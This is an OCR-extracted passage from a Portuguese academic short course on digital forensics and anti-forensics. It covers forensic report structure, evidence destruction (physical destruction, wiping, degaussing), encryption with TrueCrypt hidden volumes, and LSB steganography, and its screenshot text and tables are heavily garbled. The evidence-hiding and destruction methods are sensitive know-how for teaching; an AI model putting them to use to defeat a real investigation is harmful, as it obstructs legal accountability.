,["120£7731ec£91c3b",0,0,"11:34", "\u003cspan id\u003d\"_upro_alexdasilval7l@gmail. co|

[-"\ Single Literal Keyword Search (0) \"\u003eAlex da Silva\u003c/span\u003e”, "\u002&raquo;\u002énbsp;", "L vai...","", []

- “N\ Single Regular Expression Search (0) ,"Deserto.bmp”,"120£7731ec£91c3b",0,"30 de abril de 2009 11:34",0,"",0,0,1]
- “\ Email Addresses (131) , ["120£74b651b18b&E7", 0,0, "10:51", "\u003cspan id\u003d\"_upro_alexdasilval7l@gmail.co|
-\ Lista (142) \"\u003eAlex da Silva\u003c/span\ul03e”, "\ul0026éraque;\ul02énbsp;", "primeiroc teste","|
\ falso (26) s
A Tiburcio (116) ,"Areia.bmp"”,"120£74b651b18b&7",0,"30 de abril de 2009 10:51",0,"",0,0,1]
Hashset Hits ,["120£7463777c€9fb",0,0,"10:45", "\ud03cspan id\u003d\"_upro_alexdasilval7l@gmail.co|
N \"\u003eAlex da Silva\u003c/span\ul03e”, "\ul0Zéraque;\ul0Zénbsp;", "papel de parede”,
E-Mail Messages & X 2 X Lo
Toios Come falamos no telefone...achei...a pasta onde ficam os papéis de parede é C:\\wind

ws", [1

,"","120£7463777c€9fb",0,"30 de abril de 2009 10:45",0,"",0,0,1]

1

,["t", ["120£73acbe0%a8bb",0,0,"10:28", "\u003cspan id\u003d\"_uprc_alexdasilval7l@gma|

< | n

|
File Ingest | 100% | w2

Figura 1.15. Autopsy 3.0.6: Resultado da busca por palavras-chave, com um arquivo
contendo uma mensagem eletrénica

Anadlise
Apos aplicagao dos procedimentos da fase de exame, o perito deve analisar o
que foi retornado. Trata-se de uma etapa manual, dificil de ser automatizada por scripts

ou ferramentas, pois o perito deve verificar se o arquivo, fragmento de arquivo, trecho
de texto e outros, sdo realmente evidéncias para o caso em investigacao.
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As vezes torna-se necessario a busca de ferramentas para abrir um arquivo
encontrado, seja porque ele possui um formato desconhecido ou porque o perito ndo
possui uma ferramenta instalada que consiga visualizd-lo.

Outra situag@o que exige um trabalho maior é quando um arquivo aparentemente
importante ndo pode ser visualizado diretamente por possuir algum mecanismo de
protecdo, como por exemplo, senha. Novamente € necessaria a busca de uma ferramenta
que tente descobrir tal senha ou ignord-la (quando o mecanismo de prote¢dao ndo foi
bem elaborado).

Registro

O Laudo Pericial € o documento que registra todos os procedimentos realizados
e o que foi encontrado como resultado. E a constituicdo da prova técnica, utilizada por
juizes para contribuir no seu convencimento a favor ou contra o réu.

Alguns pontos importantes de um Laudo Pericial sdo:

*  Dados de protocolo: Dados que identifiquem o caso, tais como: ocorréncia e
inquérito policial (esfera criminal), nuimero do processo (se o solicitante for o
juiz), protocolo e/ou requisi¢do (controle da pericia), entre outros;

* Introdugdo: descreve o caso investigado e define o escopo da pericia;

*  Metodologia: define como foi realizada a cOpia, que filtros e buscas foram
utilizadas, como as evidéncias foram impressas e/ou copiadas para uma midia
(anexo), entre outros;

* Resultados: mostra o que foi encontrado, quando hd muito conteudo sugere-
se explicar o que foi encontrado e colocar os dados em anexo;

* Conclusoes: quando for possivel realizar uma conclusdo, esta deve ser
realizada apds os resultados;

* Resposta aos Quesitos: podem ser realizadas nas conclusdes, mas se nao
houver, pode haver um item apenas para os quesitos € suas respostas;

*  Consideracdes Finais: informagdes sobre o que € devolvido apds o término
da pericia, se ha midias em anexo (e seus hashes), entre outras;

*  Assinatura do(s) perito(s): devem estar na ultima pagina (as demais devem
ser rubricadas);

* Anexo do Laudo: impresso ou em meio digital, deve conter as evidéncias
encontradas.

1.3 Antiforense Digital

Nao existe uma defini¢do unica para Antiforense Digital, o que ndo € exatamente uma
surpresa, visto que € uma ciéncia relativamente pouco explorada. Algumas defini¢oes
restringem o termo a descri¢ao de ferramentas que destroem midias e evitam a captura
de informacdes nelas contidas, outras t€m um espectro mais amplo e abrangem sistemas
complexos de protecdo a privacidade [Berinato 2007].

Talvez o método mais eficiente para obter um significado unico para a descri¢cao
de Antiforense Digital seja analisar separadamente as palavras que compdem sua
defini¢do. O prefixo define “anti” como “oposi¢do ou ac¢do contrdria”. Da combinagdo
destes termos, Antiforense Digital pode ser definida como “métodos utilizados para

14 ©2013 SBC — Soc. Bras. de Computagdo



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

impedir a acdo da ciéncia para a coleta de evidéncias que resultem na quebra de
privacidade individual ou exposicdo de segredos industriais” [Harris 2006].

Assim como existem varias defini¢des de Antiforense Digital, diversos métodos
foram propostos para garantir o sigilo de informacdes armazenadas. A Tabela 1.1
descreve uma das classificacdes possiveis para métodos antiforense: destruigdo,
ocultacdo, eliminacdo da fonte e falsificacdo [Harris 2006]. Cada uma destas categorias
endereca acoes distintas para comprometer a disponibilidade e utilidade da informagao
para o processo forense. Evidéncias podem ser destruidas para evitar que sejam
encontradas ou que sejam uteis caso sejam localizadas. Podem ser ocultadas para
impedir que sejam casualmente expostas ou dificultar a sua identificagdo por um
investigador. Possiveis fontes de evidéncias podem ser destruidas para garantir que
nunca estejam disponiveis, ou mascaradas € manipuladas para distribuir a culpa ou
corromper a sua validade, de modo que ndo possam ser utilizadas em um tribunal
[Peron e Legary 2008].

Tabela 1.1. Classificacao de categorias antiforense [HARRIS, 2006]

Nome Destrui¢do Ocultacdo | Eliminagdo da Falsificacdo

fonte

Alteragdes MACE® | Destruir a Reescrever com dados

informagao aleatorios para confundir
MACE ou investigadores.
sobrescrever com
dados aleatdrios.
Remover/ esterilizar | Reescrever o Excluir o
arquivos conteddo com arquivo.
dados aleatdrios.
Encapsulamento de Ocultar um
dados arquivo em
outro.

Seqiiestro de conta Criar evidéncia para culpar
outra pessoa por atos
irregulares.

Arquivos auto- Criar evidéncias para

destrutivos comprometer a andlise de
uma imagem.

Desabilitar logs Nao sdo

disponibilizadas
informagdes sobre
atividades
realizadas.

Das quatro classificacOes, a destruicdo merece uma consideracdo especial, por
ser um processo irreversivel. A destrui¢do envolve o processo de tornar a evidéncia sem
utilidade para o processo investigativo, por sua exclusdo total ou comprometimento.
Destrui¢ao implica em ir além da tarefa de tornar uma evidéncia inacessivel (como na
ocultac@o ou elimina¢do da origem) e € um processo sem possibilidade de recuperacdo.

Em crimes ndo digitais, exemplos de destruicio podem ser: a eliminacdo de
impressoes papilares (digitais, palmares e plantares) de uma arma, de um piso, parede
ou vidro; o uso de dgua sanitdria para destruir o DNA de uma amostra de sangue; entre

Acrénimo de Modfication, Access, Create e Entry Modifying.

15 ©2013 SBC — Soc. Bras. de Computagdo




Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

outros [Kemp e Smith 2005]. Como estas agdes trabalham sobre evidéncias existentes, o
processo de destruicdo pode criar novas evidéncias. Por exemplo, a garrafa utilizada
para transportar a dgua sanitaria pode conter impressoes papilares que indicam o autor
do processo de limpeza.

No mundo digital aplicam-se as mesmas regras: a sobrescrita de um arquivo
pode destruir parcialmente ou completamente o seu conteudo, mas o software utilizado
para realizar a esterilizagdo pode criar uma trilha de evidéncias adicionais, de acordo
com o coroldrio de Harlan* [Carvey 2009].

1.4 Técnicas e Ferramentas Antiforense

Para dificultar ou impedir que alguém, mesmo que seja um perito forense, tenha acesso
as informagoes presentes em uma midia de armazenamento, a antiforense digital pode
ser aplicada [Peron e Legary 2008]. Segundo a experiéncia dos autores, as técnicas mais
utilizadas sdo a de destruicdo e a ocultacdo de dados. Por este motivo, estas duas serdo
abordadas nesta secao.

Relacionado a destruicdo de dados (Secdo 1.4.1), serdo abordados
procedimentos de exclusdo segura ou meios para danificar a estrutura fisica da midia de
armazenamento, fazendo com que os dados ndo possam ser recuperados nem mesmo
pelo proprietario do conteudo.

Com relacdo a protecdo (ocultacdo) das informacdes (Segcdo 1.4.2), serdo
abordados procedimentos que garantam a possibilidade de recuperagdo dos dados.
Entretanto, este acesso deve ser limitado exclusivamente ao proprietario ou a alguém
que consiga descobrir como foi realizada a protecdo e/ou o algoritmo e chave que foram
utilizados.

14.1 Destruicao de dados

O principal objetivo da destruicdo de dados € impossibilitar que o seu conteudo seja
recuperado e possa expor a privacidade de pessoas ou eventualmente causar algum
impacto (positivo ou negativo) no mercado corporativo [EDT 2006]. Como o processo é
irreversivel, sdo necessarios procedimentos adequados, fisicos ou 16gicos, que garantam
a efetiva destrui¢do das informagdes e resguardem os responsaveis de possiveis sansoes
legais (penalidades/responsabilizacdo). A Secdo 1.4.1.1 mostrard procedimentos de
destruigao fisica e a Secdol .4.1.2 os de destruicdo logica.

1.4.1.1 Procedimentos de destruicao fisica

Como o proprio nome sugere, a destruicao fisica consiste em causar danos estruturais ao
dispositivo de armazenamento, inviabilizando sua reutiliza¢do pelos meios normais para
os quais foi projetado [Government of Canada 2006].

YA primeira Lei da Forense Digital, proposta por Jesse Kornblum [2002], diz que “Toda a ac¢do gera

uma evidéncia” e o coroldrio de Harlan complementa especificando “Uma vez compreendida quais
condicdes criam ou alteram um fato, entdo a completa auséncia de fatos € por si mesma um fato” [Carvey
2009], ou seja, a auséncia total de informagdes é um indicio de que a unidade de disco possa ter sido
esterilizada.
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A destruigdo fisica pode ser realizada através de procedimentos ndo muito
complexos. Processos mais simples podem ser realizados sem a utilizacdo de
ferramentas especiais, acessiveis a maioria das pessoas, inclusive em ambiente
doméstico. Os principais processos sao descritos nos topicos seguintes.

Deformacao fisica

Consiste em causar danos que impe¢cam o funcionamento normal do
equipamento ap0s a realizacao deste procedimento. Pode ser realizado com ferramentas
genéricas como martelo, marreta e chaves de fenda, de modo a causar danos internos ou
externos a unidade. A utilizacdo de uma furadeira, para criar vdrios orificios que
atravessem completamente a midia, pode criar niveis de dificuldade de tal ordem que
impecam técnicos pouco aparelhados de obter €xito na recuperagdo de qualquer
informac@o [Government of Canada 2006]. Recursos mais avancados, como prensas
hidraulicas, também podem ser utilizados com maior eficacia nos resultados.

Desmontar a unidade permite o acesso as superficies internas e possibilita causar
danos diretamente aos discos magnéticos (quando ndo se tratar de unidades de estado
sOlido - SSD), potencializando os estragos. Entre as técnicas descritas, esta € a que
apresenta menor complexidade e pode ser realizada mesmo em ambiente doméstico.

Abrasivos

Uma variacao do item anterior, consiste em desmontar a unidade e remover os
discos (também conhecidos como pratos magnéticos) com a utilizagdo de ferramentas
comuns. Uma lixa, ou outro material abrasivo, € utilizada para remover a fina camada
magnética que reveste os pratos de aluminio [Government of Canada 2006].

Trituradores ou fragmentadores de metais

Em ambientes onde a informacdo € critica podem ser empregados
fragmentadores com capacidade de triturar metais. A industria americana Security
Engineered Machinery produz equipamentos capazes de triturar discos rigidos com a
granularidade especificada pelo cliente [SEM 2005].

Exemplos deste tipo de destrui¢do sdo os procedimentos especificados no
documento Clearing And Declassifying Electronic Data Storage Devices da
Communications Security Establishment® (CSE), do governo do Canad4, que limita em
10 mm? os fragmentos resultantes para dispositivos que armazenam arquivos
classificados como altamente secretos [Government of Canada 2006].

Existem técnicas radicais de recuperacao baseadas no principio de microscopia
de forca magnética (MFM), que indicam ser possivel acessar algumas informacdes a
partir de fragmentos da ordem de milimetros. Nestas condi¢des o custo dos recursos
(humanos e equipamentos), associado ao tempo de recuperagdo, pode inviabilizar
economicamente o procedimento [Hughes et al. 2009].

Incineracao

O National Institute of Standards and Technology (NIST) lista a utilizagdo de
incineradores industriais como uma das técnicas possiveis de destruicdo fisica [Kissel et
al. 2012]. A perda da capacidade de armazenamento magnético ocorre com a €xposi¢ao

Agéncia Nacional de Seguranca. Orgdo governamental do Canada.
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a altas temperaturas. Para medir qual temperatura seria necessdria, foi criada uma
medida denominada Ponto Curie, que determina a temperatura na qual todos materiais
perdem a capacidade magnética [O'Handley 2000].

A empresa Luftech® fabrica equipamentos que alcangam temperaturas de até
1600 graus Celsius [LUFTECH 2013], que atendem as especificagdes exigidas pela
NSA (National Security Agency) para incinerar discos rigidos [NSA 2013]. Esta
temperatura supera os aproximados 660 graus Celsius necessarios para fundir o
aluminio utilizado na constru¢do de algumas partes das unidades (e que podem incluir
0s proprios pratos magnéticos) ou os 125 graus Celsius necessarios para desmagnetizar
compostos ferromagnéticos utilizados em partes do disco rigido [Mamun et al. 2007].

Fundicao de metais

Reciclagem de metais via fundi¢do de discos rigidos é uma possibilidade de
destruicdo de informacdes que pode, dependendo da escala, trazer algum retorno
financeiro para o processo de descarte. A fundi¢do descaracteriza por completo a midia
de armazenamento magnética, resultando em material seguro para reciclagem
[Government of Canada 2006].

Agentes quimicos

Uma técnica adicional de destrui¢do do disco rigido € a utilizacdo de produtos
quimicos (como 4cidos) que possam degradar o dispositivo. Entretanto, esse
procedimento requer a utilizagdo de equipamentos de protecdo individual e sugere-se
que seja apenas realizado por profissionais qualificados. Além da necessidade destes
cuidados, o armazenamento de reagentes e o descarte adequado dos residuos, de modo a
nao causar problemas legais com os 6rgdos ambientais, podem inviabilizar sua adogdo
por algumas pessoas ou empresas [Jardim 2013].

1.4.1.2 Procedimentos de destruicao logica

Excluir um arquivo utilizando recursos do sistema operacional (mover para lixeira no
ambiente Windows, Mac OS ou o comando rm do Linux) e efetivamente eliminar
informagdes de um disco rigido sdo procedimentos diferentes. O comando rm do Linux
impede a possibilidade de acesso via recursos dos sistemas operacionais enquanto o
recurso de lixeira do Mac OS ou Windows permite a recuperacdo via operacoes
especiais do sistema operacional. Normalmente, a drea que os arquivos ocupavam €
marcada pelo sistema de arquivos como disponivel para armazenamento de novos
dados, todavia as informagdes continuam gravadas em disco até que um novo dado seja
gravado por cima do anterior. Mesmo que um novo dado seja gravado em cima do
anterior, ainda € possivel recuperar a informacao anterior. Usuarios especializados estao
familiarizados com técnicas de destrui¢do logica (wipe’), que emprega a sobrescrita de
dados como umas das formas de inviabilizar a sua recuperacdo [Garfinkel e Shelat,
2003].

A destruigdo logica permite a reutilizacdo da midia e € desenvolvida para
possibilitar uma relacdo de custo/beneficio aceitavel. Existem diversos procedimentos
que permitem a exclusdo de um arquivo com pouca ou nenhuma possibilidade de

¢ Disponivel em www luftech.com.br.

7 Termo em inglés que significa limpar, retirar, apagar, esfregar.
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recuperagdo. Estas técnicas contemplam a sobrescrita do local fisico da midia onde o
arquivo estd gravado, os registros que identificam a particdo ou a sobreposi¢do de
informacdes de todos os setores de um disco [Garfinkel e Shelat 2003]. Outra
possibilidade € utilizar desmagnetizadores que permitem praticamente reduzir a zero as
informacdes contidas nos discos rigidos e outras midias magnéticas. Os procedimentos
de sobrescrita e desmagnetizagao sao descritos a seguir.

Sobrescrita (Overwriting® /| Wipe)

Um modo comum de inviabilizar que informacdes gravadas em midias
magnéticas sejam recuperadas € sobrescrever os arquivos com outros dados. Este
procedimento, chamado de wiping ou shredding’, é considerado um método aceitdvel de
limpeza que ndo inviabiliza a reutilizagdo dos dispositivos e garante que os dados ndo
possam ser recuperados com o uso de utilitdrios ou fungdes dos sistemas operacionais.
Segundo Guttmann'® [Gutmann 1996], os dados ainda podem ser recuperados, mas
somente utilizando técnicas e laboratorios especializados.

A sobrescrita intencional € uma prote¢do para evitar a exposi¢ao acidental de
informagdes sensiveis de uma pessoa ou organizagdo. A técnica mais simples consiste
em escrever sobre o arquivo ou unidade a ser esterilizada uma sequéncia padrao de bits.
Esta medida impde dificuldades para que a informacdo original seja recuperada com
utilitarios especificos de recuperagdo de dados [Garfinkel e Shelat 2003].

Para prevenir que técnicas mais avancadas sejam utilizadas para recuperar
informagdes sensiveis, existem padrOes de sobrescrita especificos. Estes padrdes sdo
utilizados para eliminar a possibilidade de sucesso utilizando ferramentas

convencionais. Por exemplo, a reescrita repetida de padroes binarios de “0” e “1” € mais
eficiente que a simples gravacao de “0” uma tnica vez [DOD 2001].

Uma das fragilidades da sobrescrita é que algumas dreas de discos rigidos
podem ficar sem possibilidade de acesso pouco antes da esterilizagcdo devido a
degradac@o da midia ou outros erros, e nestes locais conservar fragmentos dos dados
originais. A sobrescrita também € problematica em ambientes que requerem indices de
seguranga mais efetivos dos usualmente oferecidos por software [EDT 2006].

Peter Gutmann estudou a recuperacdo de dados sobrescritos com padroes
convencionais durante a década de 1990 e suas observacdes indicaram que técnicas de
microscopia de forca magnética (MFM) poderiam habilitar a recomposi¢cao dos dados
originais [Gutmann 1996]. Com base em suas descobertas, desenvolveu um método
centrado em diversos padroes bindrios que compensam as fragilidades observadas pela
sobrescrita simples, que atualmente € conhecido como Método Gutmann. Daniel
Feenberg, por outro lado, um especialista do National Bureau of Economic Research''
(NBER), classifica como “lenda urbana” as chances de uma informacdo sobrescrita ser
recuperada em um disco rigido atual [Feenberg 2003].

Termo em inglés que significa sobrescrita.

Termo em inglés que significa triturar.

Peter Gutmann, profissional de seguranca da informacdo do Departamento de Ciéncias da
Computacdo da Universidade de Auckland, Nova Zelandia.

' NBER ¢ uma organizacgio de pesquisas, sem fins lucrativos, que promove estudos e divulga pesquisas
sobre politicas publicas, corporativas, profissionais e académicas em relacdo ao funcionamento da
economia.
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O Departamento de Defesa dos Estados Unidos da América (DoD-US) divulgou
uma orienta¢do, em novembro de 2007, reconhecendo a sobrescrita como um método
eficiente de limpeza de midias magnéticas, mas a completa esterilizagdo so € aceitavel
utilizando os métodos de destruicao fisica ou desmagnetizacao [USAID 1995]. O NIST,
na Publicagdo Especial 800-88 (pdgina 7), editada em 2006, menciona que estudos
indicam que a maioria das midias atuais pode ser efetivamente esterilizada com apenas
uma sobrescrita [Kissel et al, 2012].

A sobrescrita pode ser realizada por utilitarios residentes em um disco de
inicializacdo (disco de boot) especialmente preparado que, dependendo do software,
permite a conFiguracdo de processos com diferentes modelos e quantidades (ciclos—
repeti¢des), resultando em tempos diferentes para a conclusdo [DBAN 2013].

A destruicao logica também pode ser realizada por softwares executados pelo
proprio sistema operacional, com recursos de excluir apenas arquivos selecionados,
pastas ou diretorios, particoes ou areas ndo alocadas do disco [Heide 2013]. Para esta
finalidade, existem softwares comerciais, gratuitos (freewares) e de codigo aberto
(opensource), compativeis com vdrios sistemas operacionais. Deve-se observar que
estes softwares geralmente ndo eliminam cdpias do arquivo aberto mantidas na memdoria
virtual (swap) dos sistemas operacionais ou arquivos tempordrios. Para contornar essa
possivel vulnerabilidade, pode-se desabilitar o uso da memdria virtual (e/ou conFigurar
o software de destrui¢do logica para que este realize a sobrescrita da memdria virtual no
processo de desligamento do computador) e de criagdo de arquivos tempordrios
[TRUECRYPT 2013]. Um exemplo de aplicagdo de wiping em uma particio de um
pendrive é mostrado na Figura 1.16, através do software Minitool Partition Home
Edition. Para visualizar o conteudo do pendrive apos a aplicagdo de wiping foi utilizado
o software FTK Imager (Figura 1.17).

! Wiping Disk or Partition (7)==

Wiping Partition will remove every sectors of data on the partition. Data once wiped
can not be recovered by any data recovery solutions.

Destination Device: ( Disk 2 Partition 2 )

Wiping Method:

O Fill Sectors with Zero ( Quick )
(® Fill Sectors with One ( Quick )
O Fill Sectors with Zero & One (Slow)
) DoD 5220.22-M (3 passes) ( Very Slow )
(O DoD 5220.28-STD (7 passes) ( Very Slow )

Figura 1.16. Aplicacédo de wiping com bits “1”
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< L] »

< T » |Cursor pos = 865; log sec = 1; phy sec = 3903859

For User Guide, press F1

Figura 1.17. Visualizacao da particao em que foi aplicado wiping
Desmagnetizacao

Desmagnetizacdo (ou degaussing) é o processo de remog¢ao ou redugdo do
campo magnético, que pode esterilizar um disco rigido ou outra midia com rapidez e
eficiéncia. Este processo usualmente remove a formatac@o de baixo nivel realizada pelo
fabricante, causando danos irreversiveis que inutilizam a midia. Em ambientes de alta
seguranga, o desmagnetizador deve ser adequado para a midia a ser esterilizada.

Conforme o documento Degausser Evaluated Products List da NSA, a
coercividade'” magnética utilizada nas unidades fabricadas entre os anos de 2000 e 2007
subiu aproximadamente 67%. Um equipamento homologado para esterilizar
dispositivos magnéticos no ano de 2000 pode ndo ter a intensidade magnética necessaria
para esterilizar um disco rigido de fabricac@o atual, criando uma vulnerabilidade nos
procedimentos de seguranga [NSA 2012].

14.2 Protecao das informacoes

A Secdo 1.4.2 focou principalmente na destruicio de informagdes, seja de maneira
fisica ou de maneira logica. A destrui¢do fisica na maioria das vezes pode nao ser
desejada devido ao alto custo de algumas midias. O mesmo pode valer para a destrui¢do
l6gica, pois pode ser necessdrio utilizar recursos sofisticados para conseguir eliminar
logicamente os dados. Além disto, nem sempre € possivel garantir que os dados
armazenados ndo sejam acessados antes que as informagdes sejam destruidas. Assim €
fundamental existir uma forma de proteger informagdes confidenciais, pessoais ou
corporativas, contra exposi¢cdo indevida por descuido ou por agdo de intrusos,
independente de motivos reprovaveis ou respaldo legal [EDT 2006]. Existem diversas
técnicas orientadas para a protecao de dados sensiveis, com diferentes procedimentos de
ocultacdo ou controle. Algumas ndo escondem a existéncia da informagdo, porém
impoem dificuldades na interpretacdo do conteudo (Criptografia), enquanto outras
privilegiam a ocultagdo da propria existéncia da informacdo (Esteganografia) [Cole
2003]. Esta secdo apresenta estas duas técnicas e algumas ferramentas que podem ser

2 Medida de intensidade magnética necessdria para modificar um sinal armazenado magneticamente.
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utilizadas para que seja possivel proteger informacdes confidenciais através de
Criptografia ou Esteganografia.

1.4.2.1 Criptografia

Criptografia pode ser definida como o processo de converter informacgdes (texto)
legiveis em um texto (formato) cifrado" para serem armazenadas ou transmitidas em
um meio potencialmente inseguro. Em Criptografia, uma cifra é definida como um par
de algoritmos para criptografar (transformar o texto legivel em texto ndo legivel) e
descriptografar (transformar o texto cifrado em texto legivel). A utiliza¢do de cifras
permite proteger informagOes contra organiza¢Oes criminosas, intrusos maliciosos ou
simples curiosos. Em Criptografia a recomendagdo € que o segredo ndo esteja nos
algoritmos de criptografia e descriptografia, pois caso os mesmos sejam descobertos,
entdo fica mais facil descobrir qual o texto legivel a partir de um texto cifrado. O
segredo deve estar na chave utilizada para criptografar e descriptografar.

Existem duas formas de utilizar chaves em uma cifra: mesma chave para
criptografar e descriptografar (chaves simétricas) e chaves diferentes para criptografar e
descriptografar (chaves assimétricas, ou chave publica e chave privada). As cifras que
utilizam chaves simétricas possuem operagdes mais simples e rdpidas de serem
calculadas. A operacdo base nas cifras simétricas € a operagdo xor (ou exclusivo), que €
muito rapida de ser calculada. Nas cifras assimétricas, utiliza-se Aritmética Modular ou
Curvas Elipticas. Em Aritmética Modular, tanto a operacdo de criptografar quanto a
operacdo de descriptografar utilizam exponenciacdo (e multiplicacdo), que para
numeros grandes possui grande tempo para computagdo. Exemplos de algoritmos de
Criptografia de chave simétrica sao Blowfish, DES, 3DES, AES, Serpent e Twofish.
Exemplos de uso de criptografia assimétrica sao: RSA, TLS, ElIGammal, PGP e Bitcoin.
Para entender um pouco mais sobre Criptografia recomenda-se os seguintes livros: “O
livro dos codigos” (The code book) de Simon Singh, que apresenta um bom relato sobre
o progresso da Criptografia de uma maneira simples e misturado com um pouco de
historia (um excelente relato sobre como os poloneses e britdnicos quebraram a maquina
de criptografia Enigma dos alemaes); Handbook of Applied Cryptography de Alfred
Menezes e Paul van Oorschot e Applied Cryptography de Bruce Scheneier. Os dois
ultimos descrevem algoritmos e protocolos, além de recomendacdes sobre o uso de
Criptografia.

Existem diversas solu¢des para armazenar em disco ou transmitir informacoes
por redes de computadores de maneira segura. Esta protecdo pode ser realizada por
hardware ou por software. A criptografia por software simplifica os procedimentos de
controle e atende as necessidades de seguranca [Gutmann 2004]. Para armazenamento
de informacdes de maneira segura por software, por exemplo, pode ser realizada através
da criagao de um arquivo (container) em um disco rigido € montar este arquivo em um
drive virtual. Todas as informagoes transferidas para o drive virtual sdo armazenados no
container de forma criptografada. Criptografia por hardware pode ser utilizada, por
exemplo, por meio de chips da familia MAXQ® (DeepCover® Secure Microcontroller)
[MAXQ 2013] ou entdo por smartcards como Javacards produzidos pela NXP [NXP
2013]. Ambos exemplos implementam algoritmos de criptografia como 3DES, AES,
RSA,ECDSA, SHA, entre outros.

13 Usaremos o termo “texto legivel” para traduzir plaintext e “texto cifrado” para ciphertext.
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Existem diversas solucdes em softwares para proteger as informagdes, por
exemplo, solucdes comerciais: BestCript [JETICO 2008] (para criar um disco
criptografado) ou Silent Circle (para criptografar comunicagdo); ou solucdes gratuitas:
TrueCrypt [TRUECRYPT 2013] (para criagdo de disco criptografado), Tails (um
sistema operacional completo, com ferramentas de acesso a Internet, para ser usado a
partir de um DVD ou pendrive), GnuPG (uma ferramenta que disponibiliza diversas
solugdes de criptografia que pode ser utilizado por outras ferramentas), OTR (Off-The-
Record permite a comunicacao instantdnea com criptografia e autenticacdo) e AxCrypt
(que prové a possibilidade de criptografar arquivos de maneira individual). Os dltimos
podem ser baixados de maneira gratuita. Na hora da escolha de um software para
protecdo das informacdes € recomenddvel a utilizacdo de solugdes abertas (com o
codigo disponivel), pois assim € possivel verificar se possiveis vulnerabilidades ou
backdoors estdo presentes, o que tornaria possivel a exploragdo por pessoas mal-
intencionadas.

Entre as solucdes apresentadas nos paragrafos anteriores o TrueCrypt prové uma
solugdo para criar um disco criptografado, onde as informacgdes sdo criptografadas e
descriptografadas no momento da leitura ou escrita (on-the-fly encryption). TrueCrypt
possui a habilidade de criar volumes escondidos que podem ser “negados” (deniable
hidden volumes). Com o TrueCrypt é possivel criar dois tipos de volumes (discos)
dentro de um arquivo sobre o sistema de arquivos do sistema operacional (Linux, Mac
OS ou Windows): volumes nio escondidos (Figura 1.18.a) e volumes escondidos
(Figura 1.18.b).

Slot Volume Size Mount Directory Type
1 | /Users/ave/Documents/lixo 1023 MB | /Volumes/NO NAME Normal
2
3
4
5
6
7
8
9

Volume

>

/Users/ave/Documents/lixo =

v/ Never save history

a) Volume néo escondido.
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Slot Volume Size Mount Directory Type
/Users/ave/Documents/lixo 999 MB /Volumes/untitled Hidden

Volume

/Users/ave/Documents/lixo v
v/ Never save history

>

b) Volume Escondido.
Figura 1.18. Telas do software TrueCrypt

Por exemplo, volumes ndo escondidos podem ser criados como um arquivo
normal sobre o sistema de arquivos do sistema operacional. O volume poderia ser criado
também como uma particdo dedicada em um disco. Em ambos casos este volume €
considerado um container pelo TrueCrypt. Para acessar (montar) este volume €
necessario informar uma senha que serd utilizada para criptografar os dados do volume
utilizando um dos algoritmos mencionados. O TrueCrypt prové também o conceito de
Sistema de Arquivo Negavel (Deniable File System) através do conceito de arquivo
escondido. Ao criar um volume do TrueCrypt € possivel criar dois volumes, um ndo
escondido, onde o usudrio pode colocar informacdes ndo sensiveis € outro volume para
armazenar informagoes sensiveis. Assim, se o usudrio for constrangido a revelar a senha
de acesso ao volume criptografado ele pode revelar a senha de acesso ao volume que
possui informagdes ndo sensiveis € ndo a outra. QOutras ferramentas apresentadas
possuem caracteristicas similares.

1.4.2.2 Esteganografia

Esteganografia pode ser definida como a arte de esconder informagdes através de meios
que fagam com que ndo se detecte as informacdes escondidas [Johnson 1998]. Existem
diversos métodos de esconder informacdes de forma que a propria existéncia delas seja
escondida. Estes métodos podem incluir tintas invisiveis, pontos microscopicos,
rearranjar caracteres, assinaturas digitais, entre outros. Tratando-se do meio digital,
Esteganografia ¢ a técnica de ocultar informacgdes (pode ser arquivos completos) em um
arquivo contendo texto, imagem, som, video ou qualquer outro tipo de contetido de tal
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modo que a presenca das informagdes escondidas ndo seja percebida. O arquivo que
contém as informagdes escondidas ¢ chamado de hospedeiro ou portador. Criptografia e
Esteganografia sdo duas formas muito proximas de evitar que alguém tenha acesso a
informagdes confidenciais. Todavia, enquanto Criptografia embaralha a mensagem para
ela ndo ser entendida, a Esteganografia esconde a mensagem para ela ndo ser vista. Uma
mensagem cifrada pode levantar a suspeita de que algo importante esteja escondido,
enquanto que com a Esteganografia ndo. Cabe salientar também que em geral pode-se
esconder informagdes criptografadas através de Esteganografia, ou seja, primeiro
criptografa-se a mensagem (arquivo) e depois ele € inserido, por exemplo, na imagem.

Varias técnicas de Esteganografia utilizam representacdo digital de imagens ou
audios como arquivos hospedeiros para ocultar informagdes. Uma revisdo da
codificacdo destes arquivos permite analisar como mensagens podem ser inseridas e
retiradas, sem alterar significativamente suas caracteristicas [Wand e Wang 2004]. Por
exemplo, sons podem ter caracteristicas alteradas de maneira nao identificavel pelos
sentidos humanos, como pequenas alteracdes no angulo de fase, cadéncia da fala e
mudangas sutis de frequéncia, que podem ser utilizadas para ocultar informagoes.
Alteracdes sutis nos tons de cores de uma fotografia seguramente podem passar
despercebidas para um observador e conter informacdes ocultas. Ainda, imagens e
arquivos de dudio sdao usados frequentemente como hospedeiros de mensagens, pois a
existéncia destes tipos de arquivos € aceita com naturalidade, ndo levantando muitas
suspeitas [Bender et al. 1996]. Além disto, em geral, arquivos de imagens ou dudios
podem ter um tamanho elevado. Um filme, por exemplo, pode ter o tamanho de até
alguns Gibibytes, assim, esconder mensagens de poucos Kibibytes praticamente ndo
afetaria o tamanho do arquivo e passaria despercebido por alguém que tivesse acesso ao
arquivo.

Um exemplo de técnica aplicada a imagens, que encontra-se entre as mais
dificeis de ser detectada, é a LSB (Least Significant Bit). Como o proprio nome diz, os
dados a serem escondidos utilizam o bit menos significativo de cada canal de cada
pixel'*. Ou seja, se cada pixel possui 32 bits (8 bits para o canal de transparéncia, 8 para
o vermelho, 8 para o verde, 8 para o azul), entdo cada um destes componentes possui 2°
valores possiveis. Se por exemplo, o componente vermelho for alterado de 11111100
(252 em decimal) para 11111101 (253) e 0 mesmo ocorrer com os demais componentes
do pixel, a visdo de um ser humano ndo teria condi¢cdes de identificar tal alteracdo.
Resumindo, € possivel realizar alteracdes minimas em cada pixel, ou em alguns deles,
sem deteriorar a imagem. Um exemplo utilizando a técnica LSB € mostrado na Figura
1.19, com a utilizacao do software Hide & Reveal [HIDE 2010].

4 Picture Element - elemento de imagem, cada ponto que compde a imagem.
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[&] Hide & Reveal o @ 23] [#&]Hide &Reveal [=] @ ==
File Options Help

Hiding process - Step 1 Hiding process - Step 2
